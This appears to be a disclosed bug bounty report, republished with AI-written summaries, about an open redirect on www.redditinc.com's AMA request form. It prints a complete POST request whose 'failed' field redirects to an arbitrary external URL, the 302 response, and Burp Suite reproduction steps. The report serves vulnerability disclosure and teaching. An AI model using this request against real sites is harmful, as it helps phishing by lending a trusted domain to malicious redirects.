Open Redirect through POST Request in www.redditinc.com
The Reddit Inc website accepted a user-supplied URL in a form field and used it as the target of a redirect without validation. An attacker could craft a request that redirects victims to an arbitrary external site, aiding phishing attacks.
- Disclosed after 11 months
Summary:
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain and with a valid SSL certificate (if SSL is used), lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.
Steps To Reproduce:
Requests are sent from Burp Suite Community Edition
- Intercept Request of www.redditinc.com
- Send it to Repeater.
- Paste the HTTP Request given.
- Send.
- Copy link from the Show Response in Browser option.
- Paste it in Burp Browser and Run.
##Reference/Supporting Material: https://hackerone.com/reports/242243
POC Video is attached
HTTP Request:
POST /ama HTTP/2
Host: www.redditinc.com
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Cookie: OptanonAlertBoxClosed=2021-08-18T14:18:57.720Z;OptanonConsent=isIABGlobal=false&datestamp=Wed+Aug+18+2021+19%3A48%3A59+GMT%2B0530+(India+Standard+Time)&version=6.13.0&hosts=&consentId=bca87c2e-056e-4636-b582-be4622de55db&interactionCount=2&landingPath=NotLandingPage&groups=C0001%3A1%2CC0002%3A1%2CC0004%3A1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 1509
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="action"
zendesk/default/submit
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="agreement"
yes
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="description"
555
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="email"
[email protected]
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="email_confirm"
[email protected]
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="failed"
http://google.com
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="name"
ghovjnjv
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="organization"
PENTESTING
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="participants"
ghovjnjv
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="redirect"
74bcbfb4f9c047fb4e467dd203ca3b30f2b31216551ab9db2bf44911c029d506thank-you/ama-form-step-1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="subject"
AMA Request
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="success"
thank-you/ama-form-step-1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="ticket_form_id"
360000307211
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="timeframe"
next-week
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="timezone"
(GMT-05:00) Eastern Time (US & Canada)
------------YWJkMTQzNDcw--
HTTP Response:
HTTP/2 302 Found
Server: nginx
Content-Type: text/html; charset=UTF-8
Permissions-Policy: interest-cohort=()
X-Robots-Tag: none
X-Powered-By: Craft CMS
Location: http://google.com
Cache-Control: private
Accept-Ranges: bytes
Date: Wed, 18 Aug 2021 15:30:48 GMT
Via: 1.1 varnish
Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 0
Impact
A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application failed to validate or restrict the redirect target supplied in the form's 'failed' parameter, allowing any external URL.
Impact
A remote attacker could redirect users from the website to an arbitrary URL, which may assist in phishing, trojan distribution, or spam.
What the attacker needed
Attacker can send a crafted POST request
How it was found
- Intercept a request to www.redditinc.com.
- Send the request to Burp Repeater.
- Paste the provided HTTP request.
- Send the request.
- Copy the link from the 'Show Response in Browser' option.
- Paste the link into Burp Browser and run it.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An open redirect is when a website takes a link from the user and sends them there without checking it is safe. Here, a form on redditinc.com had a field telling the site where to go after submission, and the site obeyed it. Attackers could use this to trick people into visiting a malicious site.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.